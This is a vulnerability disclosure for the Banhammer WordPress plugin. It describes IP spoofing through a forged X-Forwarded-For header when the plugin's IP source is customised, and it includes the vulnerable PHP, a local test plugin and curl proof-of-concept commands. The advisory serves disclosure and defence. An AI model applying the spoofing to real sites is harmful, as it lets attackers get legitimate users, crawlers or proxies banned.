Affected plugin | Banhammer |
Active installs | 900+ |
Vulnerable version | <= 2.9 |
Audited version | 2.9 |
Fully patched version | – |
Recommended remediation | Never configure the plugin to use anything but REMOTE_ADDR for IP detection. |
Description
An attacker can use IP spoofing to ban legitimate users, search-engine crawlers, or a site’s reverse proxy.
This becomes possible as soon as a site owner changes the default IP source of the plugin by using the “banhammer_ip_keys” filter.
Proof of concept
The plugin handles IP detection better than most WordPress security plugins since it always uses REMOTE_ADDR by default.
However, as soon as this behavior is customized (by using the documented filter “backhole_ip_keys”), this changes and the plugin is wide open again to IP spoofing.
The plugin uses the banhammer_evaluate_ip function everywhere it needs access to the current request’s IP.
function banhammer_evaluate_ip($proxy = true) {
if ($proxy) {
$ip_keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_COMING_FROM', 'HTTP_PROXY_CONNECTION', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'HTTP_COMING_FROM', 'HTTP_VIA', 'REMOTE_ADDR');
} else {
$ip_keys = array('REMOTE_ADDR', 'HTTP_VIA', 'HTTP_COMING_FROM', 'HTTP_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_PROXY_CONNECTION', 'HTTP_X_COMING_FROM', 'HTTP_X_REAL_IP', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_CF_CONNECTING_IP');
}
$ip_keys = apply_filters('banhammer_ip_keys', $ip_keys);
foreach ($ip_keys as $key) {
if (array_key_exists($key, $_SERVER) === true) {
foreach (explode(',', $_SERVER[$key]) as $ip) {
$ip = trim($ip);
$ip = banhammer_normalize_ip($ip);
if (banhammer_validate_ip($ip)) {
return $ip;
}
}
}
}
return esc_html__('Invalid IP Address', 'banhammer');
}
First, create the following must-use plugin on a local WordPress installation.
<?php
declare(strict_types=1);
// wp-content/mu-plugins/ip.php
$load_balancer_ip = '94.13.143.816';
$_SERVER['REMOTE_ADDR'] = $load_balancer_ip;
$real_user_ip = '147.93.33.75';
/**
* This is how a load balancer will create the header. Always appending to the right.
* Not doing so would validate the HTTP spec.
*/
if(empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['HTTP_X_FORWARDED_FOR'] = $real_user_ip;
}else {
$_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR']. ','. $real_user_ip;
}
if(!isset($_SERVER['HTTP_TEST_IP'])) {
return;
}
add_action('wp_loaded', function () {
add_filter('banhammer_ip_keys', fn() => ['HTTP_X_FORWARDED_FOR']);
echo banhammer_evaluate_ip();
echo "\n";
die();
});
Then run the following commands:
curl -X GET https://local.test -H "Test-IP: 1"
147.93.33.75 # This is correct
Now:
curl -X GET https://local.test -H "Test-IP: 1" -H "X-Forwarded-For: 93.166.11.18"
93.166.11.18 # We spoofed the IP
Proposed patch
The needed patch is described in great length in this article of us.
Summary: Only ever use REMOTE_ADDR to access to current IP.
Timeline
Vendor contacted | September 13, 2022 |
First Response | September 13, 2022 |
Fully patched at | – |
Publicly disclosed | April 24, 2023 |
Leave a Reply